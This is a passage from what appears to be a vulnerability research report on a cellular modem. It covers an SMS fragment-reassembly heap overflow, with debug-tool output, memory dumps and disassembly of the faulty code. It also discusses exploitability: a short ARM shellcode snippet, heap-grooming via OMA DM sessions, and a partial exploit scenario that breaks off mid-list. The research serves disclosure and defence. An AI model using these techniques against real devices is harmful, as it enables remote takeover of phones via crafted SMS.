SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
```
The reception of both fragments results in the update of the global structure:
```
telcin> smsfrags
[SMS FRAGMENTS]
addr: 0x817030bc
fragnum: 02
refid: 01
totalfrags: 03
concatmem: 0x83ba2678 size 0x00000213 [3 fragments ]
```
The structure keeps track of SMS fragments received for a given reference id. It allocates a memory
buffer (`concatmem` or fragments memory) to store received fragments.
Upon reception of the above 2 fragments, the `concat` memory is filled as following:
```
telcin> dmem 0x83ba2678 0x300
83ba2678: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p......
83ba2688: xx xx 00 14 17 01 13 0e 3b 2f 04 0f 05 00 03 01 ........;/......
83ba2698: 03 01 66 72 61 67 6d 65 6e 74 31 00 00 00 00 00 ..fragment1.....
83ba26a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2708: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2718: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2728: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p.....
83ba2738: xx xx xx 00 14 17 01 13 0e 3a 27 04 0f 05 00 03 .........:'.....
83ba2748: 01 03 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2....
83ba2758: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2768: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2778: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2788: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2798: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2808: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2818: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2828: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2838: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2848: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2858: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2868: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2878: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2888: 00 00 00 44 00 00 00 00 44 33 22 11 31 02 00 00 ...D....D3".1...
83ba2898: e0 55 aa 55 29 00 00 00 0c 00 00 00 01 00 00 00 .U.U)...........
83ba28a8: 08 00 00 00 00 02 1f 02 04 02 40 04 44 03 ef 81 ..........@.D...
83ba28b8: 44 33 22 11 29 00 00 00 e8 55 ea 55 39 00 00 00 D3".)....U.U9...
83ba28c8: 04 00 00 00 01 00 40 00 63 68 72 00 44 00 00 00 ......@.chr.D...
83ba28d8: 61 69 6c 2f 55 52 49 2f 4d 61 78 44 65 70 74 68 ail/URI/MaxDepth
83ba28e8: 00 44 00 00 00 00 00 00 44 33 22 11 39 00 00 00 .D......D3".9...
83ba28f8: d8 55 ea 55 29 00 00 00 04 00 00 00 01 00 40 00 .U.U).........@.
83ba2908: 63 68 72 00 44 00 00 00 00 00 00 00 00 00 00 00 chr.D...........
83ba2918: 44 33 22 11 29 00 00 00 00 56 aa 55 39 00 00 00 D3".)....V.U9...
83ba2928: 1c 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2938: 58 dc e5 81 25 00 00 00 00 00 00 00 00 00 00 00 X...%...........
83ba2948: 00 00 00 00 44 62 30 ff 44 33 22 11 39 00 00 00 ....Db0.D3".9...
83ba2958: e0 56 aa 55 a9 00 00 00 8c 00 00 00 01 00 00 00 .V.U............
83ba2968: 04 00 00 00 00 00 00 00 44 33 22 11 20 00 00 00 ........D3".....
```
The `concatmem` is allocated upon reception of an SMS fragment if new reference id
gets encountered. It's length follows this formula:
```
concatmem_size = 0xb1 * total_fragments
```
Thus, for 3 fragments, it's total length is 0x213.
It's important to note that address 0x83ba2890 contains new heap chunk header
(magic value `0x11223344`). It's header confirms (first word following the magic)
that the preceding chunk is located `0x213` bytes before .
Interesting things happen upon reception of arbitrary SMS fragment with a reference
id corresponding to the sequence that is currently tracked by the global structure,
but with a `total_fragments` field number higher than the one reflected in the
global fragments reception state structure:
```
telcin> recvfrag -f 4/10 -i 1 -s fragment4
fragment 4/10, id 00000001
data
00000000: 66 72 61 67 6d 65 6e 74 34 fragment4
SMS
- FirstOctet
00000000: 70 p
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 14 .
- TimeStamp
00000000: 17 01 13 0f 00 14 04 .......
- UserData
* hdr len 05
00000000: 00 03 01 0a 04 .....
* ud len (with hdr) 0f
00000000: 66 72 61 67 6d 65 6e 74 34 fragment4
OS MSG
00000000: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p......
00000010: xx xx 00 14 17 01 13 0f 00 14 04 0f 05 00 03 01 ................
00000020: 0a 04 66 72 61 67 6d 65 6e 74 34 ..fragment4
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
```
Displaying memory content confirms that this fragment was placed at location
above the `concatmem` buffer:
```
telcin> dmem 0x83ba2678 0x300
83ba2678: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p......
83ba2688: xx xx 00 14 17 01 13 0e 3b 2f 04 0f 05 00 03 01 ........;/......
83ba2698: 03 01 66 72 61 67 6d 65 6e 74 31 00 00 00 00 00 ..fragment1.....
83ba26a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba26f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2708: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2718: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2728: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p.....
83ba2738: xx xx xx 00 14 17 01 13 0e 3a 27 04 0f 05 00 03 .........:'.....
83ba2748: 01 03 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2....
83ba2758: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2768: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2778: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2788: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2798: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba27f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2808: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2818: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2828: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2838: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2848: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2858: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2868: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2878: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2888: 00 00 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 ...*....!.w.p...
83ba2898: xx xx xx xx xx 00 14 17 01 13 0f 00 14 04 0f 05 ................
83ba28a8: 00 03 01 0a 04 66 72 61 67 6d 65 6e 74 34 00 00 .....fragment4..
83ba28b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba28c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba28d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba28e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba28f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2908: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2918: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2928: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83ba2938: 00 00 00 00 25 00 00 00 00 00 00 00 00 00 00 00 ....%...........
83ba2948: 00 00 00 00 44 62 30 ff 44 33 22 11 39 00 00 00 ....Db0.D3".9...
83ba2958: e0 56 aa 55 a9 00 00 00 8c 00 00 00 01 00 00 00 .V.U............
83ba2968: 04 00 00 00 00 00 00 00 44 33 22 11 20 00 00 00 ........D3".....
telcin>
```
As a result, heap memory portion of a chunk adjacent to `concatmem` got overwritten.
The root cause fot this bug lies in the following code:
```
ROM:8616DA06 loc_8616DA06 ; CODE XREF: agsr_store_fragment+AE↑j
ROM:8616DA06 LDRH R0, [R4,#0x1A] ; saved ref id
ROM:8616DA08 LDRB R1, [R5,#3] ; ref id
ROM:8616DA0A CMP R0, R1
ROM:8616DA0C BEQ loc_8616DA36 ; BUG -> alloc gets skipped if ref id matches
ROM:8616DA0C ;
ROM:8616DA0C ;
ROM:8616DA0C ; SMS1: refid, frag x, total frag = 5
ROM:8616DA0C ; SMS1: refid, frag 10, total frag = 20 <-- out of memory wite ?
ROM:8616DA0E LDR R0, [R4,#0x24] ; fragments mem
ROM:8616DA10 CMP R0, #0
ROM:8616DA12 BEQ loc_8616DA1E ; -> jump if no fragment mem has been allocated
ROM:8616DA14 LDRB R1, [R7,#8] ; received fragments cnt
ROM:8616DA16 CMP R1, #0
ROM:8616DA18 BEQ loc_8616DA1E ; total fragments
ROM:8616DA1A BL agsr_wrap_UtaCmmMemoryFree
ROM:8616DA1E
ROM:8616DA1E loc_8616DA1E ; CODE XREF: agsr_store_fragment+C6↑j
ROM:8616DA1E ; agsr_store_fragment+CC↑j
ROM:8616DA1E LDRB R0, [R7] ; total fragments
ROM:8616DA20 MOVS R1, #0xB1 ; max fragment length (assumption 0xb1 = 177)
ROM:8616DA22 MULS R0, R1
ROM:8616DA24 BL agsr_wrap_UtaCmmMemoryAllocate
ROM:8616DA28 CMP R0, #0
ROM:8616DA2A STR R0, [R4,#0x24] ; store pointer to fragments mem
ROM:8616DA2C BEQ loc_8616DA6C ; -> error
ROM:8616DA2E MOVS R0, #0
ROM:8616DA30 STRB R0, [R7,#8] ; received fragments cnt
ROM:8616DA32 LDRB R0, [R5,#3] ; ref id
ROM:8616DA34 STRH R0, [R4,#0x1A] ; saved ref id
ROM:8616DA36
ROM:8616DA36 loc_8616DA36 ; CODE XREF: agsr_store_fragment+C0↑j
```
Upon reception of an SMS fragment, it's reference id is compared with the one that is currently
maintained in the global structure. Upon the match, the code assumes that the fragment received
is part of the ongoing SMS fragment reception sequence (not complete sequence). The code does
not verify whether the received fragment id is within the bounds designated by the structure
data (fragment id is only verifeid to be within the bounds designated by the total fragments
value for the fragment itself).
In other words, the code does not expect to receive a fragment with same referece id and with
a total fragments value different than those currently being processed.
As a result, one can send a fragment with an id that would be stored at a memory location given
by this formula:
```
fragment_addr = concatmem + fragment_id * 0xb1
```
With total fragments in the range of 1-255, one can theoretically adress `concatmem` within
the range of `0xb04f` bytes (0xb1*0xff).
#### INITIAL NOTES ON EXPLOITABILITY
Ability to overwrite heap memory of a target device from a remote with user defined content
carries a potential risk for a remote code execution.
In practice this is not that straightforward as multiple conditions need to be met to achieve
a state where execution flow gets redirected to code provided by an attacker.
Below, some initial thoughts are given with respect to the key contsraints that need to be met
with respect to the described heap overflow vulnerability.
##### CONTROL OVER DATA
Control over data implicates that data written to the heap is under attacker control. In this
case, the attacker has fair control over what is written to heap memory (SMS pdu content).
##### EXECUTABLE MEMORY
Exploitation of memory corruption issues usually proceeds with the use of overwritten data,
containing assembly code that gets executed at some point.
Some systems may implement mitigations preventing execution of code stored in memory that
is designated to store data.
This is not the case here as heap memory is executable (data written to the heap could be
executed as code - ISSUE 6).
##### EXPLOIT PAYLOAD
Execution of an attacker provided asssembly code needs to lead to the device compromise.
The following scenarios are both simple and should be sufficient to accomplish that:
- exploit through ATSJMLED
The assembly code might just proceed with the creation of `a:/ssh` directory. This directory
indicates that `AT` commands are unlocked for `ATSJMLED` midlet (ISSUES 10 and 11 can be
exploited for a reliable execution of AT commands on the device)
- exploit through Java OTA application provisioning
The assembly code might proceed with a creation of a `a:/cwmjava/Otap_AtParams.bin` that
carries configuration for remote (over-the-air) provisioning of Java applications.
This file is required to exist if remote provisioning is to be used (the file is usually
created by `AT^SJOTAP` command, which servers as a good starting point for reversing its
format too).
Upon reception of a specially crafted SMS message (pid `0x7d` and data starting with a
magic string `OTAP_IMPNG`), the device can be instructed from the remote to start the
provisioning process. With proper configuration in place, this provisioning process can
proceed with the use of attacker's designated server (from which `.JAD` describing Java
application to install is fetched).
It is worth to mention, that both of the above scenarios are not demanding from a point of
view of the size of the exploit payload. They just require a sequence of a few (file open,
and write) `UtaOs` calls to occur. As such, the exploit payload might even fit within the
SMS PDU itself (~140 bytes SMS binary user data). Only a few instructions are needed
for a directory creation in a target device environment:
```
_create_dir:
.word 0x8617B4AD
_dir_name:
.ascii "F:/roota/ssh"
.align 4
_skip:
push {lr}
adr r0,_dir_name
adr r4,_create_dir // load dir creation subroutine
ldr r4,[r4]
.align 4
blx r4 // call it
nop
pop {pc} // pop registers and return
end:
.align 4
.word MAGIC_END
```
##### TRIGGER FOR AN EXECUTION FLOW CHANGE
Once attackers code is successfully deployed to target device memory, one needs a mechanism
to transfer code execution flow to it.
For heap based memory corruptions, such as transfer could be accomplished by the means of
an overwrite of a code pointer held on the heap. Such an overwritten pointer can divert
execution to arbitrary address upon use (a call through it).
###### NOTES ON HEAP EXPLOITATION
Overwrite of an arbitrary pointer for code execution purposes requires additional conditions
to be met. Most importantly, the heap block used to perform the overwrite (the one with SMS
fragments data) needs to precede the block with a pointer in the heap layout.
This also implicates that there needs to be a free block ready to accomodate at least 2 SMS
fragments. As 0xb1 bytes get allocated for one fragment, this means that a free block of around
0x180 bytes (0xb1*2 aligned with extra 0x18 bytes for chunk header) needs to be available
for allocation.
A brief analysis of heap state indicates that such blocks (holes) are available (the state
for a device with SIM card inserted and all LEDs set to green). The output below shows
free blocks with a size greater than `0x180`:
```
telcin> heapstate -p 0x81df46d8 -f f,>0x180
[HEAP STATE]
code: 0x81e5d5a0
buf: 0x83bd2268
size: 0x0000ff24 (5443)
[087f] 0x81e83d10 size 0x00001090 free
[0887] 0x81e85478 size 0x00000498 free
[0892] 0x81e86038 size 0x00000220 free
[08a0] 0x81e865b8 size 0x00000650 free
[144b] 0x83ba6058 size 0x00000bd0 free
[1480] 0x83ba9180 size 0x00000328 free
[148c] 0x83baa5f0 size 0x00000318 free
[1496] 0x83baabf8 size 0x00000208 free
[14b5] 0x83bacc88 size 0x00000208 free
[14bb] 0x83bad360 size 0x00000208 free
[151d] 0x83bb4cc0 size 0x00001010 free
[152a] 0x83bd07c8 size 0x000004d8 free
[152c] 0x83bd0d08 size 0x000003d0 free
[1541] 0x83bf5688 size 0x001fe548 free
TOTAL free: 002033c0
TOTAL alloc: 00000000
telcin> heapstate -p 0x81df46d8 -f f,>0x180
[HEAP STATE]
code: 0x81e87460
buf: 0x83bd2268
size: 0x0000ff60 (5448)
[08a4] 0x81e85a48 size 0x00000318 free
[08a8] 0x81e86038 size 0x00000220 free
[08cd] 0x81e87168 size 0x00000208 free
[1420] 0x83b9f980 size 0x00000428 free
[1478] 0x83ba6de8 size 0x00000520 free
[149f] 0x83ba9180 size 0x00000208 free
[14be] 0x83baaf70 size 0x00000398 free
[14c5] 0x83bab7f0 size 0x00000ea0 free
[14ca] 0x83baca18 size 0x00000438 free
[1516] 0x83bb04c0 size 0x00001090 free
[151c] 0x83bb6790 size 0x000013b0 free
[1526] 0x83bd0070 size 0x00000c30 free
[1546] 0x83bf6298 size 0x001fd938 free
TOTAL free: 002032a8
TOTAL alloc: 00000000
```
The other requirement is that there are allocated heap chunks holding pointer to
code. Most code pointers denote the `0x86000000` address space. Thus, a search
for such a pattern in the heap can reveal them:
```
telcin> heapstate -p 0x81df46d8 -m 0x86000000/0xff000000
[HEAP STATE]
code: 0x83ba78d0
buf: 0x83bd2268
size: 0x00001efc (661)
[0000] 0x81df46f0 size 0x0000003c busy
[0001] 0x81df4910 size 0x00000020 busy
[0002] 0x81df4a98 size 0x00000064 busy
[0003] 0x81df4c48 size 0x00000020 busy
[0004] 0x81df4cd8 size 0x00000084 busy
[0005] 0x81df4db0 size 0x00000020 busy
[0006] 0x81df4de8 size 0x00000020 busy
[0007] 0x81df4e20 size 0x0000003c busy
[0008] 0x81df4e78 size 0x0000003c busy
[0009] 0x81df4ed0 size 0x0000003c busy
[000a] 0x81df4f28 size 0x0000003c busy
[000b] 0x81df4f80 size 0x0000003c busy
[000c] 0x81df4fd8 size 0x0000003c busy
[000d] 0x81df5030 size 0x0000003c busy
[000e] 0x81df5088 size 0x0000003c busy
[000f] 0x81df9650 size 0x0000003c busy
[0010] 0x81df9810 size 0x0000003c busy
[0011] 0x81df9868 size 0x0000003c busy
[0012] 0x81df98c0 size 0x00000010 busy
[0013] 0x81df98e8 size 0x00000010 busy
[0014] 0x81df9910 size 0x0000003c busy
[0015] 0x81df9970 size 0x0000001c busy
[0016] 0x81df99a8 size 0x00000024 busy
[0017] 0x81e05818 size 0x00000084 busy
[0018] 0x81e058b8 size 0x00000020 busy
[0019] 0x81e0ace0 size 0x00000020 busy
[001a] 0x81e0c148 size 0x0000007c busy
[001b] 0x81e0c1e0 size 0x00000048 busy
[001c] 0x81e0c240 size 0x00000098 busy
...
```
One would need to achieve the following:
- alloc one of the free holes for `concatmem`,
- overwrite a code pointer in one of the following blocks.
The problem with the approach of hitting an existing hole (free block) in the heap
so that it would precede a given code pointer block is quite unpredictable. The heap
state seems to be quite "saturated". This means, that there is not much space left
for predictable allocations (free blocks / holes that would remain free across time).
The only such block is the one at the end of the heap...
This leads to the scenario that has a potential to be more successful - the one where
all allocations are conducted from the end of the heap.
The idea is the following:
- saturate the heap completely, so that any new allocations need to be done from the
last free chunk (the largest one),
- proceed with a controlled sequence of allocations, as a result a sequence of chunks
gets allocated (one for SMS fragments, the other following it for a code pointer).
The above requires a mechanism for controlled heap allocation (allocation of memory
with a given size).
At least one mechanism for such allocation exist:
- memory allocation for WDP fragmanets.
This might not be sufficient though (a support for a maximum of 0x10 fragments is
implemented).
The potential helper may come in the form of OMA DM feature. OMA DM security bypass
could be exploited to establish a management session with a target device. OMA DM
management makes it possible to set (create?) new node values in the OMA DM tree.
OMA DM tree is stored in a dynamic manner on the heap.
If set operations directly correspond to memory allocations, one might end up with
a mechanism of a controlled heap allocation.
This is a potentially a viable scenario taking into account OMA DM implementation
in use which relies on `set` management function (`AttPluginDMAccPrvSetACL`)
allocating ACL string of arbitrary (provided in the packet) length:
```
ROM:86BD1B60 sub_86BD1B60 ; CODE XREF: agsr_AttPluginDMAccPrvSetACL+28↓j
ROM:86BD1B60 ; agsr_IuiOmadmPluginConfig+5C↓p
ROM:86BD1B60 PUSH {R4-R8,LR}
ROM:86BD1B64 MOVS R4, R2
ROM:86BD1B68 MOV R5, R0
ROM:86BD1B6C CMPNE R5, #0
ROM:86BD1B70 MOV R7, R1
ROM:86BD1B74 MOV R6, #0x194
ROM:86BD1B78 BEQ loc_86BD1BD8
ROM:86BD1B7C ADR R0, aOmadmClientAtt_7 ; "OMADM_CLIENT: AttPluginMoSetACLDMAcc fu"...
ROM:86BD1B80 BLX agsr_log
ROM:86BD1B84 MOV R2, #1
ROM:86BD1B88 MOV R1, R5
ROM:86BD1B8C MOV R0, R4
ROM:86BD1B90 BL agsr_omadm_acc_find_node
ROM:86BD1B94 MOVS R4, R0
ROM:86BD1B98 BEQ loc_86BD1BD0
ROM:86BD1B9C MOV R5, #0
ROM:86BD1BA0 CMP R7, #0
ROM:86BD1BA4 MOV R6, R5
ROM:86BD1BA8 BEQ loc_86BD1BC0
ROM:86BD1BAC MOV R0, R7
ROM:86BD1BB0 BL agsr_omadm_strdup
ROM:86BD1BB4 MOVS R5, R0
ROM:86BD1BB8 MOVEQ R6, #0x1A4
ROM:86BD1BBC BEQ loc_86BD1BD0
ROM:86BD1BC0
ROM:86BD1BC0 loc_86BD1BC0 ; CODE XREF: sub_86BD1B60+48↑j
ROM:86BD1BC0 LDR R0, [R4,#0x10]
ROM:86BD1BC4 CMP R0, #0
ROM:86BD1BC8 BLNE agsr_OmadmFree
ROM:86BD1BCC STR R5, [R4,#0x10]
ROM:86BD1BD0
ROM:86BD1BD0 loc_86BD1BD0 ; CODE XREF: sub_86BD1B60+38↑j
ROM:86BD1BD0 ; sub_86BD1B60+5C↑j
ROM:86BD1BD0 MOV R0, R6
ROM:86BD1BD4 POP {R4-R8,PC}
```
The remaining puzzle is related to the allocation of a memory chunk holding code
pointers.
It could be that such a block would appear on the heap anyway such as a timer
object (timer objects embed a code pointer inside it).
It might be that OMA DM struc pointer could be allocated / freed on demand too
as a response to OMA DM session establishment and close.
The OMA DM struc is not allocated by default:
```
telcin> dmstruc
OMADM tree: 0x81ede8d0
not initilized
```
This structure is allocated upon a trigger to establish a DM session:
```
telcin> recvdmmsg -n Cingular
SMS
- FirstOctet
00000000: 74 t
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 14 .
- TimeStamp
00000000: 17 01 13 0a 15 37 04 .....7.
- UserData
* hdr len 06
00000000: 05 04 11 22 33 44 ..."3D
* ud len (with hdr) 2d
00000000: 01 06 03 c4 af 87 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 02 d8 00 00 00 12 34 08 43 69 ............4.Ci
00000020: 6e 67 75 6c 61 72 ngular
- DM Push
* transaction_id 01
* PDU type 06
* headers
c4
af
87
- DM Data
* digest
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
* version 0b
* UImode 01
* initiator 01
* future_use 00
* server_id Cingular
OS MSG
00000000: 48 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx H....!.w.t......
00000010: xx xx 00 14 17 01 13 0a 15 37 04 2d 06 05 04 11 .........7.-....
00000020: 22 33 44 01 06 03 c4 af 87 00 00 00 00 00 00 00 "3D.............
00000030: 00 00 00 00 00 00 00 00 00 02 d8 00 00 00 12 34 ...............4
00000040: 08 43 69 6e 67 75 6c 61 72 .Cingular
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
telcin> dmstruc
OMADM tree: 0x81ede8d0
struc addr: 0x81e84c80
ptr table: 0x81e852c8
telcin> memory device
MEMORY MODE: device
telcin> dmem 0x81e852c8
81e852c8: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................
81e852d8: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................
81e852e8: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D...........
81e852f8: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8...........
81e85308: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X...............
81e85318: 00 00 00 00 44 00 00 00 00 00 00 00 44 00 00 00 ....D.......D...
81e85328: 44 33 22 11 79 00 00 00 70 57 aa 55 f1 00 00 00 D3".y...pW.U....
81e85338: d4 00 00 00 01 00 00 00 44 52 48 54 03 00 00 00 ........DRHT....
81e85348: 6c 29 bb 83 60 ea ba 83 5b 2a bb 83 fc 3f 00 00 l)......[*...?..
81e85358: 00 00 00 00 00 00 00 00 40 53 e8 81 40 53 e8 81 ........@S..@S..
81e85368: d3 05 00 00 00 54 e8 81 69 00 00 00 05 00 00 00 .....T..i.......
81e85378: 00 00 00 00 00 00 00 00 69 00 00 00 00 00 00 00 ........i.......
81e85388: c4 27 be 86 20 e4 a2 70 ff ff ff ff 00 00 00 00 .'.....p........
81e85398: d4 98 37 86 40 53 e8 81 00 00 00 00 00 00 00 00 ..7.@S..........
81e853a8: 00 00 00 00 80 9f 37 86 30 54 e8 81 40 53 e8 81 ......7.0T..@S..
81e853b8: 40 53 e8 81 00 00 00 00 38 2a bb 83 00 00 00 00 @S......8*......
```
If multiple OMA DM sessions could be established, this would increase the chances
of filling memory with code pointers following `concatmem`.
It is worth to mention that heap exploitation could theoretically proceed with
the use of arbitrary write operation triggered at the time of chunk management
operation.
Each heap chunk embeds information about the offsets (not pointers!) to `next`
and `prev` heap blocks (either allocated or free):
```
telcin> malloc 0x20
res: 0x81eeae60
telcin> ptrinfo 0x81eeae28
[0x81eeae28]
start: 0x81eeae10
size: 0x00000038
alloc_size: 0x00000020
left: 0x00000000
prev: 0x81eeade0 [0x81eeadf8]
next: 0x81eeae48 [0x81eeae60]
telcin> ptrinfo 0x81eeae60
[0x81eeae60]
start: 0x81eeae48
size: 0x00000038
alloc_size: 0x00000020
left: 0x00000000
prev: 0x81eeae10 [0x81eeae28]
next: 0x81eeae80 [0x81eeae98]
telcin> dmem 0x81eeae10
81eeae10: 44 33 22 11 31 00 00 00 04 56 aa 55 39 00 00 00 D3".1....V.U9...
81eeae20: 20 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae40: 00 00 00 00 00 00 00 00
44 33 22 11 39 00 00 00 ........D3".9...
81eeae50: 04 56 aa 55 39 00 00 00 20 00 00 00 01 00 00 00 .V.U9...........
81eeae60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeae80: 44 33 22 11 39 00 00 00 e0 55 aa 55 29 00 00 00 D3".9....U.U)...
81eeae90: 0c 00 00 00 01 00 00 00 08 00 00 00 00 02 1f 02 ................
81eeaea0: 04 02 40 04 44 c2 e5 80
44 33 22 11 29 00 00 00 ..@.D...D3".)...
81eeaeb0: 14 56 aa 55 49 00 00 00 20 00 00 00 01 00 00 00 .V.UI...........
81eeaec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
81eeaee0: 44 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 D...D...D.......
81eeaef0: 44 33 22 11 49 00 00 00 08 56 aa 55 41 00 00 00 D3".I....V.UA...
81eeaf00: 1c 00 00 00 01 00 00 00 34 6d 34 87 0a 00 0a 03 ........4m4.....
```
These offsets are used to locate adresses of `prev` and `next` blocks whenever
their state requires update.
Theoretically, a heap chunk could be corrupted (as a result of the overwrite)
in such a way, so that it would indicate a next free block to alloc designating
target memory to overwrite (such as a fixed area containing code pointers). The
idea is to trigger memory allocation in such a way, so that a pointer to given
memory address is returned (subject to an overwrite).
An interesting approach involves OMA DM WDP fragments handling as these seem
to allow for a controlled malloc and free operations (up to 0x10 fragments / heap
blocks).
All of the above information implicates a need for a more detailed research aimed
at the verification if heap state can be controlled in such a way that an arbitrary
pointer overwrite condition could be achieved in the environment of a target device.
Such a work should be conducted in order to make a credible claim regarding
exploitability of ISSUE 18 (whether this is an issue of critical nature or a DoS).
#### EXPLOIT SCENARIO
Taking into account SMS fragmentation vulnerability specifics along target device
heap implementation details, the following scenario (exploitation steps) has been
considered as a candidate for a successful exploitation of Issue 18.
- establish OMA DM session with attacker's server (through OMA DM provisioning that
changes server URL, then through OMA DM notification / bootstrap msg)
- use the OMA DM session to change ACL for `./DMS` node, so that arbitrary nodes can
be created (`"Add=*"` perm)
- fill all holes in the heap, so that any new memory gets allocated from the
largest free chunk (the last heap chunk)
in order to accomplish arbitrary memory allocations, add new nodes to the `./DMS`
